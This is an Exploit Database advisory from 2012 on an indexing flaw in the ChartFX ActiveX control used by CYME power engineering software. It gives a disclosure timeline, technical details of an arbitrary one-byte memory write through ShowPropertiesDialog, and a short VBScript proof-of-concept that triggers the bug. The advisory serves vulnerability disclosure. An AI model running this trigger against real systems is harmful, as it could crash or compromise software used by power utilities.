Cyme ChartFX Client Server – ActiveX Control Array Indexing

• Exploit Database
• 111 阅读

• 作者： Francis Provencher
  日期： 2012-10-04
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/21737/
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  #####################################################################################   Application: CYME Power Engineering Software   Platforms: Windows Version: CYME version 5.0.12.663.   Secunia: SA48430   {PRL}: 2012-29   Author: Francis Provencher (Protek Research Lab&apos;s)   Website: http://www.protekresearchlab.com/   Twitter: @ProtekResearch     #####################################################################################   1) Introduction 2) Report Timeline 3) Technical details 4) The Code     #####################################################################################   =============== 1) Introduction ===============   The CYME Power Engineering software is a suite of applications composed of a network editor, analysis modules and user-customizable model libraries from which you can choose to get the most powerful solution.   The modules available comprise a variety of advanced applications and extensive libraries for either transmission/industrial or distribution power network analysis. (http://www.cyme.com/software/) This software is use by all major electrical production/distrubtion company http://www.cyme.com/company/clients/ #####################################################################################   ============================ 2) Report Timeline ============================   2012-03-14Vulnerability reported to Secunia 2012-10-03Publication of this advisory (180 Days)     #####################################################################################   ============================ 3) Technical details ============================ The vulnerability is caused due to an indexing error in the "ShowPropertiesDialog()" method (ChartFX.ClientServer.Core.dll) of the ChartFX ActiveX Control. This can be exploited to write a single byte value to an arbitrary memory location via the "pageNumber" parameter. Successful exploitation may allow execution of arbitrary code.     #####################################################################################   =========== 4) The Code =========== <object classid=&apos;clsid:E9DF30CA-4B30-4235-BF0C-7150F646606C&apos; id=&apos;target&apos; /> <script language=&apos;vbscript&apos;> targetFile = "C:\CYME\CYMDIST50TRIAL\ChartFX.ClientServer.Core.dll" prototype = "Sub ShowPropertiesDialog ( ByVal context As Variant , ByVal pageNumber As Long )" memberName = "ShowPropertiesDialog" progid = "Cfx62ClientServer.Chart" argCount = 2 arg1="defaultV" arg2=2147483647 target.ShowPropertiesDialog arg1 ,arg2